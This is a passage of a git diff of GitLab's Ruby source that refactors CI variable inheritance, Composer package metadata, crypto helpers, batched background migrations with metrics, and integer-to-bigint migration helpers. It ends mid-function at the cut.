def in_write_lock(&blk)
lock_key = "trace:write:lock:#{job.id}"
in_lock(lock_key, ttl: LOCK_TTL, retries: LOCK_RETRIES, sleep_sec: LOCK_SLEEP, &blk)
diff --git a/lib/gitlab/ci/variables/helpers.rb b/lib/gitlab/ci/variables/helpers.rb
index e2a54f90ecb..3a62f01e2e3 100644
--- a/lib/gitlab/ci/variables/helpers.rb
+++ b/lib/gitlab/ci/variables/helpers.rb
@@ -23,7 +23,21 @@ module Gitlab
def transform_from_yaml_variables(vars)
return vars.stringify_keys if vars.is_a?(Hash)
- vars.to_a.map { |var| [var[:key].to_s, var[:value]] }.to_h
+ vars.to_a.to_h { |var| [var[:key].to_s, var[:value]] }
+ end
+
+ def inherit_yaml_variables(from:, to:, inheritance:)
+ merge_variables(apply_inheritance(from, inheritance), to)
+ end
+
+ private
+
+ def apply_inheritance(variables, inheritance)
+ case inheritance
+ when true then variables
+ when false then {}
+ when Array then variables.select { |var| inheritance.include?(var[:key]) }
+ end
end
end
end
diff --git a/lib/gitlab/ci/yaml_processor/result.rb b/lib/gitlab/ci/yaml_processor/result.rb
index 3459b69bebc..f96a6629849 100644
--- a/lib/gitlab/ci/yaml_processor/result.rb
+++ b/lib/gitlab/ci/yaml_processor/result.rb
@@ -38,11 +38,12 @@ module Gitlab
.map { |job| build_attributes(job[:name]) }
end
- def workflow_attributes
- {
- rules: hash_config.dig(:workflow, :rules),
- yaml_variables: transform_to_yaml_variables(variables)
- }
+ def workflow_rules
+ @workflow_rules ||= hash_config.dig(:workflow, :rules)
+ end
+
+ def root_variables
+ @root_variables ||= transform_to_yaml_variables(variables)
end
def jobs
@@ -68,7 +69,9 @@ module Gitlab
when: job[:when] || 'on_success',
environment: job[:environment_name],
coverage_regex: job[:coverage],
- yaml_variables: transform_to_yaml_variables(job[:variables]),
+ yaml_variables: transform_to_yaml_variables(job[:variables]), # https://gitlab.com/gitlab-org/gitlab/-/issues/300581
+ job_variables: transform_to_yaml_variables(job[:job_variables]),
+ root_variables_inheritance: job[:root_variables_inheritance],
needs_attributes: job.dig(:needs, :job),
interruptible: job[:interruptible],
only: job[:only],
@@ -101,7 +104,7 @@ module Gitlab
end
def merged_yaml
- @ci_config&.to_hash&.to_yaml
+ @ci_config&.to_hash&.deep_stringify_keys&.to_yaml
end
def variables_with_data
diff --git a/lib/gitlab/composer/version_index.rb b/lib/gitlab/composer/version_index.rb
index ac0071cdc53..fdff8fb32d3 100644
--- a/lib/gitlab/composer/version_index.rb
+++ b/lib/gitlab/composer/version_index.rb
@@ -28,20 +28,34 @@ module Gitlab
def package_metadata(package)
json = package.composer_metadatum.composer_json
- json.merge('dist' => package_dist(package), 'uid' => package.id, 'version' => package.version)
+ json.merge(
+ 'dist' => package_dist(package),
+ 'source' => package_source(package),
+ 'uid' => package.id,
+ 'version' => package.version
+ )
end
def package_dist(package)
- sha = package.composer_metadatum.target_sha
archive_api_path = api_v4_projects_packages_composer_archives_package_name_path({ id: package.project_id, package_name: package.name, format: '.zip' }, true)
{
'type' => 'zip',
- 'url' => expose_url(archive_api_path) + "?sha=#{sha}",
- 'reference' => sha,
+ 'url' => expose_url(archive_api_path) + "?sha=#{package.composer_target_sha}",
+ 'reference' => package.composer_target_sha,
'shasum' => ''
}
end
+
+ def package_source(package)
+ git_url = package.project.http_url_to_repo
+
+ {
+ 'type' => 'git',
+ 'url' => git_url,
+ 'reference' => package.composer_target_sha
+ }
+ end
end
end
end
diff --git a/lib/gitlab/conan_token.rb b/lib/gitlab/conan_token.rb
index d03997b4158..c3d90aa78fb 100644
--- a/lib/gitlab/conan_token.rb
+++ b/lib/gitlab/conan_token.rb
@@ -7,7 +7,7 @@
module Gitlab
class ConanToken
- HMAC_KEY = 'gitlab-conan-packages'.freeze
+ HMAC_KEY = 'gitlab-conan-packages'
attr_reader :access_token_id, :user_id
diff --git a/lib/gitlab/contributor.rb b/lib/gitlab/contributor.rb
index d74d5a86aa0..c1c270bc9e6 100644
--- a/lib/gitlab/contributor.rb
+++ b/lib/gitlab/contributor.rb
@@ -5,7 +5,9 @@ module Gitlab
attr_accessor :email, :name, :commits, :additions, :deletions
def initialize
- @commits, @additions, @deletions = 0, 0, 0
+ @commits = 0
+ @additions = 0
+ @deletions = 0
end
end
end
diff --git a/lib/gitlab/crypto_helper.rb b/lib/gitlab/crypto_helper.rb
index 4428354642d..c113cebd72f 100644
--- a/lib/gitlab/crypto_helper.rb
+++ b/lib/gitlab/crypto_helper.rb
@@ -16,34 +16,16 @@ module Gitlab
::Digest::SHA256.base64digest("#{value}#{salt}")
end
- def aes256_gcm_encrypt(value, nonce: nil)
- aes256_gcm_encrypt_using_static_nonce(value)
+ def aes256_gcm_encrypt(value, nonce: AES256_GCM_IV_STATIC)
+ encrypted_token = Encryptor.encrypt(AES256_GCM_OPTIONS.merge(value: value, iv: nonce))
+ Base64.strict_encode64(encrypted_token)
end
- def aes256_gcm_decrypt(value)
+ def aes256_gcm_decrypt(value, nonce: AES256_GCM_IV_STATIC)
return unless value
- nonce = Feature.enabled?(:dynamic_nonce_creation) ? dynamic_nonce(value) : AES256_GCM_IV_STATIC
encrypted_token = Base64.decode64(value)
- decrypted_token = Encryptor.decrypt(AES256_GCM_OPTIONS.merge(value: encrypted_token, iv: nonce))
- decrypted_token
- end
-
- def dynamic_nonce(value)
- TokenWithIv.find_nonce_by_hashed_token(value) || AES256_GCM_IV_STATIC
- end
-
- def aes256_gcm_encrypt_using_static_nonce(value)
- create_encrypted_token(value, AES256_GCM_IV_STATIC)
- end
-
- def read_only?
- Gitlab::Database.read_only?
- end
-
- def create_encrypted_token(value, iv)
- encrypted_token = Encryptor.encrypt(AES256_GCM_OPTIONS.merge(value: value, iv: iv))
- Base64.strict_encode64(encrypted_token)
+ Encryptor.decrypt(AES256_GCM_OPTIONS.merge(value: encrypted_token, iv: nonce))
end
end
end
diff --git a/lib/gitlab/data_builder/build.rb b/lib/gitlab/data_builder/build.rb
index c4af5e6608e..0e4fc8efa95 100644
--- a/lib/gitlab/data_builder/build.rb
+++ b/lib/gitlab/data_builder/build.rb
@@ -12,7 +12,7 @@ module Gitlab
author_url = build_author_url(build.commit, commit)
- data = {
+ {
object_kind: 'build',
ref: build.ref,
@@ -26,6 +26,7 @@ module Gitlab
build_name: build.name,
build_stage: build.stage,
build_status: build.status,
+ build_created_at: build.created_at,
build_started_at: build.started_at,
build_finished_at: build.finished_at,
build_duration: build.duration,
@@ -66,8 +67,6 @@ module Gitlab
environment: build_environment(build)
}
-
- data
end
private
@@ -84,7 +83,6 @@ module Gitlab
id: runner.id,
description: runner.description,
active: runner.active?,
- is_shared: runner.instance_type?,
tags: runner.tags&.map(&:name)
}
end
diff --git a/lib/gitlab/data_builder/pipeline.rb b/lib/gitlab/data_builder/pipeline.rb
index 7fd1b9cd228..a56029c0d1d 100644
--- a/lib/gitlab/data_builder/pipeline.rb
+++ b/lib/gitlab/data_builder/pipeline.rb
@@ -77,7 +77,6 @@ module Gitlab
id: runner.id,
description: runner.description,
active: runner.active?,
- is_shared: runner.instance_type?,
tags: runner.tags&.map(&:name)
}
end
diff --git a/lib/gitlab/database/as_with_materialized.rb b/lib/gitlab/database/as_with_materialized.rb
new file mode 100644
index 00000000000..7c45f416638
--- /dev/null
+++ b/lib/gitlab/database/as_with_materialized.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ # This class is a special Arel node which allows optionally define the `MATERIALIZED` keyword for CTE and Recursive CTE queries.
+ class AsWithMaterialized < Arel::Nodes::Binary
+ extend Gitlab::Utils::StrongMemoize
+
+ MATERIALIZED = Arel.sql(' MATERIALIZED')
+ EMPTY_STRING = Arel.sql('')
+ attr_reader :expr
+
+ def initialize(left, right, materialized: true)
+ @expr = if materialized && self.class.materialized_supported?
+ MATERIALIZED
+ else
+ EMPTY_STRING
+ end
+
+ super(left, right)
+ end
+
+ # Note: to be deleted after the minimum PG version is set to 12.0
+ def self.materialized_supported?
+ strong_memoize(:materialized_supported) do
+ Gitlab::Database.version.match?(/^1[2-9]\./) # version 12.x and above
+ end
+ end
+
+ # Note: to be deleted after the minimum PG version is set to 12.0
+ def self.materialized_if_supported
+ materialized_supported? ? 'MATERIALIZED' : ''
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/background_migration/batch_metrics.rb b/lib/gitlab/database/background_migration/batch_metrics.rb
new file mode 100644
index 00000000000..3e6d7ac3c9f
--- /dev/null
+++ b/lib/gitlab/database/background_migration/batch_metrics.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module BackgroundMigration
+ class BatchMetrics
+ attr_reader :timings
+
+ def initialize
+ @timings = {}
+ end
+
+ def time_operation(label)
+ start_time = monotonic_time
+
+ yield
+
+ timings_for_label(label) << monotonic_time - start_time
+ end
+
+ private
+
+ def timings_for_label(label)
+ timings[label] ||= []
+ end
+
+ def monotonic_time
+ Gitlab::Metrics::System.monotonic_time
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/background_migration/batched_migration.rb b/lib/gitlab/database/background_migration/batched_migration.rb
index 0c9add9b355..4aa33ed7946 100644
--- a/lib/gitlab/database/background_migration/batched_migration.rb
+++ b/lib/gitlab/database/background_migration/batched_migration.rb
@@ -5,7 +5,7 @@ module Gitlab
module BackgroundMigration
class BatchedMigration < ActiveRecord::Base # rubocop:disable Rails/ApplicationRecord
JOB_CLASS_MODULE = 'Gitlab::BackgroundMigration'
- BATCH_CLASS_MODULE = "#{JOB_CLASS_MODULE}::BatchingStrategies".freeze
+ BATCH_CLASS_MODULE = "#{JOB_CLASS_MODULE}::BatchingStrategies"
self.table_name = :batched_background_migrations
@@ -23,8 +23,15 @@ module Gitlab
finished: 3
}
- def interval_elapsed?
- last_job.nil? || last_job.created_at <= Time.current - interval
+ def self.active_migration
+ active.queue_order.first
+ end
+
+ def interval_elapsed?(variance: 0)
+ return true unless last_job
+
+ interval_with_variance = interval - variance
+ last_job.created_at <= Time.current - interval_with_variance
end
def create_batched_job!(min, max)
@@ -50,6 +57,13 @@ module Gitlab
def batch_class_name=(class_name)
write_attribute(:batch_class_name, class_name.demodulize)
end
+
+ def prometheus_labels
+ @prometheus_labels ||= {
+ migration_id: id,
+ migration_identifier: "%s/%s.%s" % [job_class_name, table_name, column_name]
+ }
+ end
end
end
end
diff --git a/lib/gitlab/database/background_migration/batched_migration_runner.rb b/lib/gitlab/database/background_migration/batched_migration_runner.rb
new file mode 100644
index 00000000000..cf8b61f5feb
--- /dev/null
+++ b/lib/gitlab/database/background_migration/batched_migration_runner.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module BackgroundMigration
+ class BatchedMigrationRunner
+ def initialize(migration_wrapper = BatchedMigrationWrapper.new)
+ @migration_wrapper = migration_wrapper
+ end
+
+ # Runs the next batched_job for a batched_background_migration.
+ #
+ # The batch bounds of the next job are calculated at runtime, based on the migration
+ # configuration and the bounds of the most recently created batched_job. Updating the
+ # migration configuration will cause future jobs to use the updated batch sizes.
+ #
+ # The job instance will automatically receive a set of arguments based on the migration
+ # configuration. For more details, see the BatchedMigrationWrapper class.
+ #
+ # Note that this method is primarily intended to called by a scheduled worker.
+ def run_migration_job(active_migration)
+ if next_batched_job = create_next_batched_job!(active_migration)
+ migration_wrapper.perform(next_batched_job)
+ else
+ finish_active_migration(active_migration)
+ end
+ end
+
+ # Runs all remaining batched_jobs for a batched_background_migration.
+ #
+ # This method is intended to be used in a test/dev environment to execute the background
+ # migration inline. It should NOT be used in a real environment for any non-trivial migrations.
+ def run_entire_migration(migration)
+ unless Rails.env.development? || Rails.env.test?
+ raise 'this method is not intended for use in real environments'
+ end
+
+ while migration.active?
+ run_migration_job(migration)
+
+ migration.reload_last_job
+ end
+ end
+
+ private
+
+ attr_reader :migration_wrapper
+
+ def create_next_batched_job!(active_migration)
+ next_batch_range = find_next_batch_range(active_migration)
+
+ return if next_batch_range.nil?
+
+ active_migration.create_batched_job!(next_batch_range.min, next_batch_range.max)
+ end
+
+ def find_next_batch_range(active_migration)
+ batching_strategy = active_migration.batch_class.new
+ batch_min_value = active_migration.next_min_value
+
+ next_batch_bounds = batching_strategy.next_batch(
+ active_migration.table_name,
+ active_migration.column_name,
+ batch_min_value: batch_min_value,
+ batch_size: active_migration.batch_size)
+
+ return if next_batch_bounds.nil?
+
+ clamped_batch_range(active_migration, next_batch_bounds)
+ end
+
+ def clamped_batch_range(active_migration, next_bounds)
+ min_value, max_value = next_bounds
+
+ return if min_value > active_migration.max_value
+
+ max_value = max_value.clamp(min_value, active_migration.max_value)
+
+ (min_value..max_value)
+ end
+
+ def finish_active_migration(active_migration)
+ active_migration.finished!
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/background_migration/batched_migration_wrapper.rb b/lib/gitlab/database/background_migration/batched_migration_wrapper.rb
index 299bd992197..c276f8ce75b 100644
--- a/lib/gitlab/database/background_migration/batched_migration_wrapper.rb
+++ b/lib/gitlab/database/background_migration/batched_migration_wrapper.rb
@@ -4,6 +4,15 @@ module Gitlab
module Database
module BackgroundMigration
class BatchedMigrationWrapper
+ extend Gitlab::Utils::StrongMemoize
+
+ # Wraps the execution of a batched_background_migration.
+ #
+ # Updates the job's tracking records with the status of the migration
+ # when starting and finishing execution, and optionally saves batch_metrics
+ # the migration provides, if any are given.
+ #
+ # The job's batch_metrics are serialized to JSON for storage.
def perform(batch_tracking_record)
start_tracking_execution(batch_tracking_record)
@@ -16,6 +25,7 @@ module Gitlab
raise e
ensure
finish_tracking_execution(batch_tracking_record)
+ track_prometheus_metrics(batch_tracking_record)
end
private
@@ -34,12 +44,75 @@ module Gitlab
tracking_record.migration_column_name,
tracking_record.sub_batch_size,
*tracking_record.migration_job_arguments)
+
+ if job_instance.respond_to?(:batch_metrics)
+ tracking_record.metrics = job_instance.batch_metrics
+ end
end
def finish_tracking_execution(tracking_record)
tracking_record.finished_at = Time.current
tracking_record.save!
end
+
+ def track_prometheus_metrics(tracking_record)
+ migration = tracking_record.batched_migration
+ base_labels = migration.prometheus_labels
+
+ metric_for(:gauge_batch_size).set(base_labels, tracking_record.batch_size)
+ metric_for(:gauge_sub_batch_size).set(base_labels, tracking_record.sub_batch_size)
+ metric_for(:counter_updated_tuples).increment(base_labels, tracking_record.batch_size)
+
+ # Time efficiency: Ratio of duration to interval (ideal: less than, but close to 1)
+ efficiency = (tracking_record.finished_at - tracking_record.started_at).to_i / migration.interval.to_f
+ metric_for(:histogram_time_efficiency).observe(base_labels, efficiency)
+
+ if metrics = tracking_record.metrics
+ metrics['timings']&.each do |key, timings|
+ summary = metric_for(:histogram_timings)
+ labels = base_labels.merge(operation: key)
+
+ timings.each do |timing|
+ summary.observe(labels, timing)
+ end
+ end
+ end
+ end
+
+ def metric_for(name)
+ self.class.metrics[name]
+ end
+
+ def self.metrics
+ strong_memoize(:metrics) do
+ {
+ gauge_batch_size: Gitlab::Metrics.gauge(
+ :batched_migration_job_batch_size,
+ 'Batch size for a batched migration job'
+ ),
+ gauge_sub_batch_size: Gitlab::Metrics.gauge(
+ :batched_migration_job_sub_batch_size,
+ 'Sub-batch size for a batched migration job'
+ ),
+ counter_updated_tuples: Gitlab::Metrics.counter(
+ :batched_migration_job_updated_tuples_total,
+ 'Number of tuples updated by batched migration job'
+ ),
+ histogram_timings: Gitlab::Metrics.histogram(
+ :batched_migration_job_duration_seconds,
+ 'Timings for a batched migration job',
+ {},
+ [0.1, 0.25, 0.5, 1, 5].freeze
+ ),
+ histogram_time_efficiency: Gitlab::Metrics.histogram(
+ :batched_migration_job_time_efficiency,
+ 'Ratio of job duration to interval',
+ {},
+ [0.5, 0.9, 1, 1.5, 2].freeze
+ )
+ }
+ end
+ end
end
end
end
diff --git a/lib/gitlab/database/background_migration/scheduler.rb b/lib/gitlab/database/background_migration/scheduler.rb
deleted file mode 100644
index 5f8a5ec06a5..00000000000
--- a/lib/gitlab/database/background_migration/scheduler.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Database
- module BackgroundMigration
- class Scheduler
- def perform(migration_wrapper: BatchedMigrationWrapper.new)
- active_migration = BatchedMigration.active.queue_order.first
-
- return unless active_migration&.interval_elapsed?
-
- if next_batched_job = create_next_batched_job!(active_migration)
- migration_wrapper.perform(next_batched_job)
- else
- finish_active_migration(active_migration)
- end
- end
-
- private
-
- def create_next_batched_job!(active_migration)
- next_batch_range = find_next_batch_range(active_migration)
-
- return if next_batch_range.nil?
-
- active_migration.create_batched_job!(next_batch_range.min, next_batch_range.max)
- end
-
- def find_next_batch_range(active_migration)
- batching_strategy = active_migration.batch_class.new
- batch_min_value = active_migration.next_min_value
-
- next_batch_bounds = batching_strategy.next_batch(
- active_migration.table_name,
- active_migration.column_name,
- batch_min_value: batch_min_value,
- batch_size: active_migration.batch_size)
-
- return if next_batch_bounds.nil?
-
- clamped_batch_range(active_migration, next_batch_bounds)
- end
-
- def clamped_batch_range(active_migration, next_bounds)
- min_value, max_value = next_bounds
-
- return if min_value > active_migration.max_value
-
- max_value = max_value.clamp(min_value, active_migration.max_value)
-
- (min_value..max_value)
- end
-
- def finish_active_migration(active_migration)
- active_migration.finished!
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/database/batch_count.rb b/lib/gitlab/database/batch_count.rb
index 5a506da0d05..9002d39e1ee 100644
--- a/lib/gitlab/database/batch_count.rb
+++ b/lib/gitlab/database/batch_count.rb
@@ -88,11 +88,16 @@ module Gitlab
batch_start = start
while batch_start < finish
- batch_end = [batch_start + batch_size, finish].min
- batch_relation = build_relation_batch(batch_start, batch_end, mode)
-
begin
- results = merge_results(results, batch_relation.send(@operation, *@operation_args)) # rubocop:disable GitlabSecurity/PublicSend
+ batch_end = [batch_start + batch_size, finish].min
+ batch_relation = build_relation_batch(batch_start, batch_end, mode)
+
+ op_args = @operation_args
+ if @operation == :count && @operation_args.blank? && use_loose_index_scan_for_distinct_values?(mode)
+ op_args = [Gitlab::Database::LooseIndexScanDistinctCount::COLUMN_ALIAS]
+ end
+
+ results = merge_results(results, batch_relation.send(@operation, *op_args)) # rubocop:disable GitlabSecurity/PublicSend
batch_start = batch_end
rescue ActiveRecord::QueryCanceled => error
# retry with a safe batch size & warmer cache
@@ -102,6 +107,18 @@ module Gitlab
log_canceled_batch_fetch(batch_start, mode, batch_relation.to_sql, error)
return FALLBACK
end
+ rescue Gitlab::Database::LooseIndexScanDistinctCount::ColumnConfigurationError => error
+ Gitlab::AppJsonLogger
+ .error(
+ event: 'batch_count',
+ relation: @relation.table_name,
+ operation: @operation,
+ operation_args: @operation_args,
+ mode: mode,
+ message: "LooseIndexScanDistinctCount column error: #{error.message}"
+ )
+
+ return FALLBACK
end
sleep(SLEEP_TIME_IN_SECONDS)
@@ -123,7 +140,11 @@ module Gitlab
private
def build_relation_batch(start, finish, mode)
- @relation.select(@column).public_send(mode).where(between_condition(start, finish)) # rubocop:disable GitlabSecurity/PublicSend
+ if use_loose_index_scan_for_distinct_values?(mode)
+ Gitlab::Database::LooseIndexScanDistinctCount.new(@relation, @column).build_query(from: start, to: finish)
+ else
+ @relation.select(@column).public_send(mode).where(between_condition(start, finish)) # rubocop:disable GitlabSecurity/PublicSend
+ end
end
def batch_size_for_mode_and_operation(mode, operation)
@@ -165,6 +186,14 @@ module Gitlab
message: "Query has been canceled with message: #{error.message}"
)
end
+
+ def use_loose_index_scan_for_distinct_values?(mode)
+ Feature.enabled?(:loose_index_scan_for_distinct_values) && not_group_by_query? && mode == :distinct
+ end
+
+ def not_group_by_query?
+ !@relation.is_a?(ActiveRecord::Relation) || @relation.group_values.blank?
+ end
end
end
end
diff --git a/lib/gitlab/database/bulk_update.rb b/lib/gitlab/database/bulk_update.rb
index 1403d561890..b1f9da30585 100644
--- a/lib/gitlab/database/bulk_update.rb
+++ b/lib/gitlab/database/bulk_update.rb
@@ -130,7 +130,7 @@ module Gitlab
def sql
<<~SQL
- WITH cte(#{list_of(cte_columns)}) AS (VALUES #{list_of(values)})
+ WITH cte(#{list_of(cte_columns)}) AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (VALUES #{list_of(values)})
UPDATE #{table_name} SET #{list_of(updates)} FROM cte WHERE cte_id = id
SQL
end
diff --git a/lib/gitlab/database/count/reltuples_count_strategy.rb b/lib/gitlab/database/count/reltuples_count_strategy.rb
index 89190320cf9..a7bfafe2815 100644
--- a/lib/gitlab/database/count/reltuples_count_strategy.rb
+++ b/lib/gitlab/database/count/reltuples_count_strategy.rb
@@ -3,10 +3,6 @@
module Gitlab
module Database
module Count
- class PgClass < ActiveRecord::Base
- self.table_name = 'pg_class'
- end
-
# This strategy counts based on PostgreSQL's statistics in pg_stat_user_tables.
#
# Specifically, it relies on the column reltuples in said table. An additional
@@ -74,7 +70,7 @@ module Gitlab
def get_statistics(table_names, check_statistics: true)
time = 6.hours.ago
- query = PgClass.joins("LEFT JOIN pg_stat_user_tables ON pg_stat_user_tables.relid = pg_class.oid")
+ query = ::Gitlab::Database::PgClass.joins("LEFT JOIN pg_stat_user_tables ON pg_stat_user_tables.relid = pg_class.oid")
.where(relname: table_names)
.where('schemaname = current_schema()')
.select('pg_class.relname AS table_name, reltuples::bigint AS estimate')
diff --git a/lib/gitlab/database/loose_index_scan_distinct_count.rb b/lib/gitlab/database/loose_index_scan_distinct_count.rb
new file mode 100644
index 00000000000..884f4d47ff8
--- /dev/null
+++ b/lib/gitlab/database/loose_index_scan_distinct_count.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ # This class builds efficient batched distinct query by using loose index scan.
+ # Consider the following example:
+ # > Issue.distinct(:project_id).where(project_id: (1...100)).count
+ #
+ # Note: there is an index on project_id
+ #
+ # This query will read each element in the index matching the project_id filter.
+ # If for a project_id has 100_000 issues, all 100_000 elements will be read.
+ #
+ # A loose index scan will read only one entry from the index for each project_id to reduce the number of disk reads.
+ #
+ # Usage:
+ #
+ # Gitlab::Database::LooseIndexScanDisctinctCount.new(Issue, :project_id).count(from: 1, to: 100)
+ #
+ # The query will return the number of distinct projects_ids between 1 and 100
+ #
+ # Getting the Arel query:
+ #
+ # Gitlab::Database::LooseIndexScanDisctinctCount.new(Issue, :project_id).build_query(from: 1, to: 100)
+ class LooseIndexScanDistinctCount
+ COLUMN_ALIAS = 'distinct_count_column'
+
+ ColumnConfigurationError = Class.new(StandardError)
+
+ def initialize(scope, column)
+ if scope.is_a?(ActiveRecord::Relation)
+ @scope = scope
+ @model = scope.model
+ else
+ @scope = scope.where({})
+ @model = scope
+ end
+
+ @column = transform_column(column)
+ end
+
+ def count(from:, to:)
+ build_query(from: from, to: to).count(COLUMN_ALIAS)
+ end
+
+ def build_query(from:, to:) # rubocop:disable Metrics/AbcSize
+ cte = Gitlab::SQL::RecursiveCTE.new(:counter_cte, union_args: { remove_order: false })
+ table = model.arel_table
+
+ cte << @scope
+ .dup
+ .select(column.as(COLUMN_ALIAS))
+ .where(column.gteq(from))
+ .where(column.lt(to))
+ .order(column)
+ .limit(1)
+
+ inner_query = @scope
+ .dup
+ .where(column.gt(cte.table[COLUMN_ALIAS]))
+ .where(column.lt(to))
+ .select(column.as(COLUMN_ALIAS))
+ .order(column)
+ .limit(1)
+
+ cte << cte.table
+ .project(Arel::Nodes::Grouping.new(Arel.sql(inner_query.to_sql)).as(COLUMN_ALIAS))
+ .where(cte.table[COLUMN_ALIAS].lt(to))
+
+ model
+ .with
+ .recursive(cte.to_arel)
+ .from(cte.alias_to(table))
+ .unscope(where: :source_type)
+ .unscope(where: model.inheritance_column) # Remove STI query, not needed here
+ end
+
+ private
+
+ attr_reader :column, :model
+
+ # Transforms the column so it can be used in Arel expressions
+ #
+ # 'table.column' => 'table.column'
+ # 'column' => 'table_name.column'
+ # :column => 'table_name.column'
+ # Arel::Attributes::Attribute => name of the column
+ def transform_column(column)
+ if column.is_a?(String) || column.is_a?(Symbol)
+ column_as_string = column.to_s
+ column_as_string = "#{model.table_name}.#{column_as_string}" unless column_as_string.include?('.')
+
+ Arel.sql(column_as_string)
+ elsif column.is_a?(Arel::Attributes::Attribute)
+ column
+ else
+ raise ColumnConfigurationError.new("Cannot transform the column: #{column.inspect}, please provide the column name as string")
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/migration_helpers.rb b/lib/gitlab/database/migration_helpers.rb
index 31e733050e1..d06a73da8ac 100644
--- a/lib/gitlab/database/migration_helpers.rb
+++ b/lib/gitlab/database/migration_helpers.rb
@@ -4,6 +4,7 @@ module Gitlab
module Database
module MigrationHelpers
include Migrations::BackgroundMigrationHelpers
+ include DynamicModelHelpers
# https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS
MAX_IDENTIFIER_NAME_LENGTH = 63
@@ -576,17 +577,7 @@ module Gitlab
# old_column - The name of the old column.
# new_column - The name of the new column.
def install_rename_triggers(table, old_column, new_column)
- trigger_name = rename_trigger_name(table, old_column, new_column)
- quoted_table = quote_table_name(table)
- quoted_old = quote_column_name(old_column)
- quoted_new = quote_column_name(new_column)
-
- install_rename_triggers_for_postgresql(
- trigger_name,
- quoted_table,
- quoted_old,
- quoted_new
- )
+ install_rename_triggers_for_postgresql(table, old_column, new_column)
end
# Changes the type of a column concurrently.
@@ -927,19 +918,67 @@ module Gitlab
# This is crucial for Primary Key conversions, because setting a column
# as the PK converts even check constraints to NOT NULL constraints
# and forces an inline re-verification of the whole table.
- # - It backfills the new column with the values of the existing primary key
- # by scheduling background jobs.
- # - It tracks the scheduled background jobs through the use of
- # Gitlab::Database::BackgroundMigrationJob
+ # - It sets up a trigger to keep the two columns in sync.
+ #
+ # Note: this helper is intended to be used in a regular (pre-deployment) migration.
+ #
+ # This helper is part 1 of a multi-step migration process:
+ # 1. initialize_conversion_of_integer_to_bigint to create the new column and database triggers
+ # 2. backfill_conversion_of_integer_to_bigint to copy historic data using background migrations
+ # 3. remaining steps TBD, see #288005
+ #
+ # table - The name of the database table containing the column
+ # column - The name of the column that we want to convert to bigint.
+ # primary_key - The name of the primary key column (most often :id)
+ def initialize_conversion_of_integer_to_bigint(table, column, primary_key: :id)
+ unless table_exists?(table)
+ raise "Table #{table} does not exist"
+ end
+
+ unless column_exists?(table, primary_key)
+ raise "Column #{primary_key} does not exist on #{table}"
+ end
+
+ unless column_exists?(table, column)
+ raise "Column #{column} does not exist on #{table}"
+ end
+
+ check_trigger_permissions!(table)
+
+ old_column = column_for(table, column)
+ tmp_column = "#{column}_convert_to_bigint"
+
+ with_lock_retries do
+ if (column.to_s == primary_key.to_s) || !old_column.null
+ # If the column to be converted is either a PK or is defined as NOT NULL,
+ # set it to `NOT NULL DEFAULT 0` and we'll copy paste the correct values bellow
+ # That way, we skip the expensive validation step required to add
+ # a NOT NULL constraint at the end of the process
+ add_column(table, tmp_column, :bigint, default: old_column.default || 0, null: false)
+ else
+ add_column(table, tmp_column, :bigint, default: old_column.default)
+ end
+
+ install_rename_triggers(table, column, tmp_column)
+ end
+ end
+
+ # Backfills the new column used in the conversion of an integer column to bigint using background migrations.
+ #
+ # - This helper should be called from a post-deployment migration.
+ # - In order for this helper to work properly, the new column must be first initialized with
+ # the `initialize_conversion_of_integer_to_bigint` helper.
+ # - It tracks the scheduled background jobs through Gitlab::Database::BackgroundMigration::BatchedMigration,
# which allows a more thorough check that all jobs succeeded in the
# cleanup migration and is way faster for very large tables.
- # - It sets up a trigger to keep the two columns in sync
- # - It does not schedule a cleanup job: we have to do that with followup
- # post deployment migrations in the next release.
#
- # This needs to be done manually by using the
- # `cleanup_initialize_conversion_of_integer_to_bigint`
- # (not yet implemented - check #288005)
+ # Note: this helper is intended to be used in a post-deployment migration, to ensure any new code is
+ # deployed (including background job changes) before we begin processing the background migration.
+ #
+ # This helper is part 2 of a multi-step migration process:
+ # 1. initialize_conversion_of_integer_to_bigint to create the new column and database triggers
+ # 2. backfill_conversion_of_integer_to_bigint to copy historic data using background migrations
+ # 3. remaining steps TBD, see #288005
#
# table - The name of the database table containing the column
# column - The name of the column that we want to convert to bigint.
@@ -960,7 +999,7 @@ module Gitlab
# and set the batch_size to 50_000 which will require
# ~50s = (50000 / 200) * (0.1 + 0.1) to complete and leaves breathing space
# between the scheduled jobs
- def initialize_conversion_of_integer_to_bigint(
+ def backfill_conversion_of_integer_to_bigint(
table,
column,
primary_key: :id,
@@ -969,10 +1008,6 @@ module Gitlab
interval: 2.minutes
)
- if transaction_open?
- raise 'initialize_conversion_of_integer_to_bigint can not be run inside a transaction'
- end
-
unless table_exists?(table)
raise "Table #{table} does not exist"
end
@@ -985,87 +1020,42 @@ module Gitlab
raise "Column #{column} does not exist on #{table}"
end
- check_trigger_permissions!(table)
-
- old_column = column_for(table, column)
tmp_column = "#{column}_convert_to_bigint"
- with_lock_retries do
- if (column.to_s == primary_key.to_s) || !old_column.null
- # If the column to be converted is either a PK or is defined as NOT NULL,
- # set it to `NOT NULL DEFAULT 0` and we'll copy paste the correct values bellow
- # That way, we skip the expensive validation step required to add
- # a NOT NULL constraint at the end of the process
- add_column(table, tmp_column, :bigint, default: old_column.default || 0, null: false)
- else
- add_column(table, tmp_column, :bigint, default: old_column.default)
- end
-
- install_rename_triggers(table, column, tmp_column)
- end
-
- source_model = Class.new(ActiveRecord::Base) do
- include EachBatch
-
- self.table_name = table
- self.inheritance_column = :_type_disabled
+ unless column_exists?(table, tmp_column)
+ raise 'The temporary column does not exist, initialize it with `initialize_conversion_of_integer_to_bigint`'
end
- queue_background_migration_jobs_by_range_at_intervals(
- source_model,
+ batched_migration = queue_batched_background_migration(
